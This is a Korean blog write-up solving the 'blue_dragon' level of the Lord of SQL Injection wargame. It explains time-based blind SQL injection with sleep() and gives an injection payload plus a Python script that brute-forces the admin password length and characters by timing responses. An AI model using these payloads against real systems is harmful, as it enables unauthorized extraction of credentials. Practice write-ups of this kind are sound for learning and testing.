본문 바로가기

Write-Up/LOS (lord of sql injection)

[Lord of SQL Injection] 27번 blue_dragon

time based sql injection이다. ' \을 필터링하는데 time based sql injection을 모르고 접근하다가 삽질을 좀 했다.

 

쿼리를 먼저 넣고 실행시키고 그 후에 필터링되는것이다.

sleep을 이용하겠다.

?id=1&pw=' or id='admin' and if(length(pw)>0, sleep(1), 0)%23

 

만약 pw길이가 0이상이면 1초대기하고 실행시키고 아니면 바로 거짓값을 넣어버린다.

로딩화면을 보고있으면 대기하는지 바로 실패하는지 볼 수 있다,

 

import requests
import time

cookies= {'PHPSESSID':'your cooke'}
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
pw = ''


# pw길이 구하기
for i in range(0,99):
    start = time.time()
    payload = "id=a&pw=' or id='admin' and if(length(pw) = " + str(i) + ", sleep(1), 0)%23"
    new_url = url+payload
    res = requests.get(new_url, cookies=cookies)
    res.raise_for_status()
    if (time.time() - start) > 1:
        length = i
        print("length: "+str(length))
        break    

# pw 구하기
for i in range(1,length+1):
    for j in range(48,123):
        start = time.time()
        payload = "id=a&pw=' or id='admin' if(substr(pw, " + str(i) + ", 1) = " + hex(j) + ", sleep(3), 0)%23"
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if (time.time() - start) > 3:
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)